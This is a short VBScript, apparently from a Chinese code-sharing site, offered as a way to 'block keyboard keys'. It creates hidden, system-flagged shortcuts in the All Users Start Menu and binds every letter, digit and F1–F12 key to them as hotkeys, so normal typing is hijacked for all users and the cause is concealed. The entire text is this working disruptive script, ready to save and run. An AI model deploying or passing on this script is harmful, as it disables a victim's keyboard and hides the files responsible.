vbs屏蔽键盘按键

'code by 伤脑筋 www.ntbak.cn  www.jb51.net
'copy to filename.vbs 
dim num,var,fso,wsh,pathname 
num = "a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,"+_ 
"v,w,x,y,z,0,1,2,3,4,5,6,7,8,9,f1,f2,f3,f4,f5,f6,"+_ 
"f7,f8,f9,f10,f11,f12" 

var = split(num, ",", -1, 1) 
set fso = createobject("scripting.filesystemobject")  
set wsh = wscript.createobject("wscript.shell") 
pathname = wsh.specialfolders("allusersstartmenu")+"\程序\附件\辅助工具\" 

for i = 0 to ubound(var) 
    set link = wsh.createshortcut(pathname+var(i)+".lnk") 
    link.targetpath = "conime.exe" 
    link.hotkey = var(i) 
    link.save 
    set file = fso.getfile(pathname+var(i)+".lnk")  
    file.attributes = 2 + 4  
next